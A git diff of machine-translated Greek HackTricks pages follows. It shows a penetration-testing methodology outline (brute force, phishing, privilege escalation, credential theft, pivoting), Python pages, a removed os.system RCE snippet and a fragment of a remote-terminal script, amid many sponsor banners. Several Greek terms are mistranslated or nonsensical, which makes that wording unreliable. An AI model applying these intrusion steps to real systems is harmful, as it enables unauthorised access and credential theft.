**Μέσα σε αυτό το βιβλίο θα βρείτε οδηγό για τον έλεγχο ευπάθειών στις πιο συνηθισμένες υπηρεσίες** (και άλλες που δεν είναι τόσο συνηθισμένες)**. Παρακαλώ, αναζητήστε στο αριστερό ευρετήριο την** _**ΕΛΕΓΧΟΣ ΕΙΣΒΟΛΗΣ**_ **ενότητα** (οι υπηρεσίες είναι ταξινομημένες ανά default θύρες).
**Θέλω να κάνω μια ειδική αναφορά στο** [**Ελέγχο Ιστού**](../network-services-pentesting/pentesting-web/) **(καθώς είναι η πιο εκτεταμένη).**\
Επίσης, μπορείτε να βρείτε ένα μικρό οδηγό για το[ **αναζήτηση γνωστών ευπαθειών σε λογισμικό**](search-exploits.md) εδώ.
**Θέλω να κάνω μια ειδική αναφορά στο** [**Ελέγχο Εισβολής Web**](../network-services-pentesting/pentesting-web/) **μέρος (καθώς είναι το πιο εκτενές).**\
Επίσης, μπορείτε να βρείτε ένα μικρό οδηγό για το[ **εύρεση γνωστών ευπαθειών σε λογισμικό**](search-exploits.md) εδώ.
**Αν η υπηρεσία σας δεν υπάρχει στο ευρετήριο, αναζητήστε στο Google** για άλλα εγχειρίδια και **ενημερώστε με αν θέλετε να την προσθέσω.** Αν **δεν μπορείτε να βρείτε κάτι** στο Google, εκτελέστε το **δικό σας τυφλό έλεγχο εισβολής**, μπορείτε να ξεκινήσετε συνδεόμενοι στην υπηρεσία, να την αναζητήσετε και να διαβάσετε τις απαντήσεις (αν υπάρχουν).
**Αν η υπηρεσία σας δεν υπάρχει στο ευρετήριο, αναζητήστε στο Google** για άλλα εγχειρίδια και **ενημερώστε με αν θέλετε να την προσθέσω.** Αν **δεν μπορείτε να βρείτε κάτι** στο Google, εκτελέστε το **δικό σας τυφλό ελεγχόμενο εισβολής**, μπορείτε να ξεκινήσετε συνδεόμενοι στην υπηρεσία, να την αναζητήσετε και να διαβάσετε τις απαντήσεις (αν υπάρχουν).
#### 5.1 Αυτόματα Εργαλεία
@ -68,29 +68,29 @@ _Τα λογότυπα του Hacktricks σχεδιάστηκαν από_ [_@ppi
#### **5.2 Επίθεση με Βία στις Υπηρεσίες**
Σε ορισμένα σενάρια μια **Επίθεση με Βία** θα μπορούσε να είναι χρήσιμη για να **καταστρέψετε** μια **υπηρεσία**. [**Βρείτε εδώ ένα CheatSheet με διαφορετικές υπηρεσίες για επίθεση με βία**](brute-force.md)**.**
Σε ορισμένα σενάρια μια **Επίθεση με Βία** θα μπορούσε να είναι χρήσιμη για να **καταστρέψετε** μια **υπηρεσία**. [**Βρείτε εδώ ένα CheatSheet διαφορετικών υπηρεσιών επίθεσης με βία**](brute-force.md)**.**
### 6- [Αλισβεύτευση](phishing-methodology/)
### 6- [Αλισβεύσεις](phishing-methodology/)
Αν μέχρι αυτό το σημείο δεν έχετε βρει κάποια ενδιαφέρουσα ευπάθεια **μπορεί να χρειαστείτε να δοκιμάσετε κάποιο phishing** για να μπείτε στο δίκτ
Αν μέχρι αυτό το σημείο δεν έχετε βρει κάποια ενδιαφέρουσα ευπάθεια **μπορεί να χρειαστεί να δοκιμάσετε κάποια αλισβεύση** για να μπείτ
### **10- Ανόρθωση Προνομίων**
#### **10.1- Τοπική Ανόρθωση**
Αν **δεν είστε root/Administrator** μέσα στο σύστημα, πρέπει να βρείτε έναν τρόπο για **ανόρθωση προνομίων.**\
Αν **δεν είστε root/Administrator** μέσα στο σύστημα, πρέπει να βρείτε έναν τρόπο για να **αναβαθμίσετε τα προνόμιά σας.**\
Εδώ μπορείτε να βρείτε έναν **οδηγό για την ανόρθωση προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Θα πρέπει επίσης να ελέγξετε αυτές τις σελίδες για το πώς λειτουργεί το **Windows**:
* [**Ταυτοποίηση, Διαπιστευτήρια, Δικαιώματα διακριτικών και UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
* [**Ταυτοποίηση, Διαπιστεύσεις, Δικαιώματα διακριτικών και UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
* Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/)
* Πώς να [**κλέψετε διαπιστευτήρια**](broken-reference/) στα Windows
* Πώς να [**κλέψετε διαπιστεύσεις**](broken-reference/) στα Windows
* Μερικά κόλπα για το [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
**Μην ξεχάσετε να ελέγξετε τα καλύτερα εργαλεία για την απαρίθμηση των διαδρομών Ανόρθωσης Προνομίων σε Windows και Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Ανόρθωση Προνομίων Domain**
Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για απαρίθμηση, ανόρθωση προνομίων και διατήρηση σε ένα Active Directory**](../windows-hardening/active-directory-methodology/). Ακόμα κι αν αυτό είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία μπορεί να είναι **εξαιρετικά ευαίσθητη** σε μια ανάθεση Πεντεστικής/Ομάδας Ερυθρού.
Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για την απαρίθμηση, την ανόρθωση προνομίων και τη διατήρηση σε ένα Active Directory**](../windows-hardening/active-directory-methodology/). Ακόμα κι αν αυτό είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά ευαίσθητη** σε μια ανάθεση Ανοικτού Κώδικα/Ομάδας Ερυθρού.
### 11 - POST
@ -108,10 +108,10 @@ TODO: Ολοκληρώστε τη Δημοσίευση Διατήρησης σε
### 12 - Περιστροφή
Με τα **συλλεγμένα διαπιστευτήρια** μπορείτε να έχετε πρόσβαση σε άλλες μηχανές, ή ίσως χρειάζεστε να **ανακαλύψετε και να σαρώσετε νέους υπολογιστές** (ξεκινήστε ξανά τη Μεθοδολογία Πεντεστικής) μέσα σε νέα δίκτυα όπου είναι συνδεδεμένο το θύμα σας.\
Σε αυτήν την περίπτωση, η τούνελινγκ μπορεί να είναι απαραίτητη. Εδώ μπορείτε να βρείτε ένα [**άρθρο που μιλά για το τούνελινγκ**](tunneling-and-port-forwarding.md).\
Σίγουρα θα πρέπει επίσης να ελέγξετε το άρθρο για τη [Μεθοδολογία Πεντεστικής στο Active Directory](../windows-hardening/active-directory-methodology/). Εκεί θα βρείτε χρήσιμα κόλπα για μετακίνηση πλευρικά, ανόρθωση προνομίων και ανάκτηση διαπιστευτηρίων.\
Ελέγξτε επίσης τη σελίδα για το [**NTLM**](../windows-hardening/ntlm/), μπορεί να είναι πολύ χρήσιμο για περιστροφή σε περιβάλλοντα Windows..
Με τα **συλλεγμένα διαπιστευτήρια** μπορείτε να έχετε πρόσβαση σε άλλες μηχανές, ή ίσως χρειάζεστε να **ανακαλύψετε και να σαρώσετε νέους υπολογιστές** (ξεκινήστε ξανά τη Μεθοδολογία Ανοικτού Κώδικα) μέσα σε νέα δίκτυα όπου είναι συνδεδεμένο το θύμα σας.\
Σε αυτήν την περίπτωση, η διέλευση μπορεί να είναι απαραίτητη. Εδώ μπορείτε να βρείτε [**μια δημοσίευση που μιλά για τη διέλευση**](tunneling-and-port-forwarding.md).\
Σίγουρα θα πρέπει επίσης να ελέγξετε τη δημοσίευση σχετικά με τη [Μεθοδολογία Ανοικτού Κώδικα του Active Directory](../windows-hardening/active-directory-methodology/). Εκεί θα βρείτε χρήσιμα κόλπα για τη μετακίνηση πλευρικά, την ανόρθωση προνομίων και την απόρριψη διαπιστεύσεων.\
Ελέγξτε επίσης τη σελίδα σχετικά με το [**NTLM**](../windows-hardening/ntlm/), μπορεί να είναι πολύ χρήσιμο για περιστροφή σε περιβάλλοντα Windows..
### ΠΕΡΙΣΣΟΤΕΡΑ
@ -131,7 +131,7 @@ TODO: Ολοκληρώστε τη Δημοσίευση Διατήρησης σε
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακάρετε το αχάκαρτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
@ -146,7 +146,7 @@ TODO: Ολοκληρώστε τη Δημοσίευση Διατήρησης σε
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>

View file

@ -2,52 +2,52 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χακάρισμα του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χακάρισμά σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο **προηγμένα εργαλεία κοινότητας** στον κόσμο.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Ενδιαφέρουσες σελίδες για έλεγχο:**
**Ενδιαφέρουσες σελίδες για ελέγξετε:**
* [**Χάκινγκ κόλπα με το Pyscript**](pyscript.md)
* [**Αποσειριοποίηση στο Python**](../../pentesting-web/deserialization/#python)
* [**Κόλπα για παράκαμψη των Python sandboxes**](bypass-python-sandboxes/)
* [**Βασική σύνταξη αιτημάτων ιστού στο Python**](web-requests.md)
* [**Βασική σύνταξη και βιβλιοθήκες της Python**](basic-python.md)
* [**Κόλπα χακάρισμα Pyscript**](pyscript.md)
* [**Αποσειριοποιήσεις Python**](../../pentesting-web/deserialization/#python)
* [**Κόλπα για παράκαμψη των αμμοθολων Python**](bypass-python-sandboxes/)
* [**Βασική σύνταξη αιτημάτων ιστού Python**](web-requests.md)
* [**Βασική σύνταξη και βιβλιοθήκες Python**](basic-python.md)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο **προηγμένα εργαλεία κοινότητας** στον κόσμο.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χακάρισμα του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χακάρισμά σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -2,22 +2,22 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -39,24 +39,24 @@ is fixed running
pip3 install wheel
inside the virtual environment
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να κατασκευάσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
</details>

View file

@ -2,22 +2,22 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή τη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -91,18 +91,6 @@ def get_random_string(guid, path):
return ''.join(random.choice(string.ascii_letters) for i in range(10))
```
## Εντολή Python για εκμετάλλευση ενός RCE
Για να εκμεταλλευτείτε μια ευπάθεια εκτέλεσης ακολουθίας εντολών (RCE) με χρήση της Python, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:
```python
import os
os.system('command')
```
Αντικαταστήστε τη λέξη "command" με την εντολή που θέλετε να εκτελέσετε. Η εντολή `os.system()` εκτελεί την εντολή που δίνεται ως παράμετρο στο σύστημα του υπολογιστή.
Προσέξτε ότι η εκτέλεση εντολών από την Python μπορεί να είναι επικίνδυνη και πρέπει να χρησιμοποιείται με προσοχή. Βεβαιωθείτε ότι έχετε την απαραίτητη άδεια ή συγκατάθεση για να εκτελέσετε τις εντολές που προορίζεστε να χρησιμοποιήσετε.
```python
import requests
import re
@ -129,24 +117,24 @@ return 1
term = Terminal()
term.cmdloop()
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εύκολα ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να κατασκευάσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
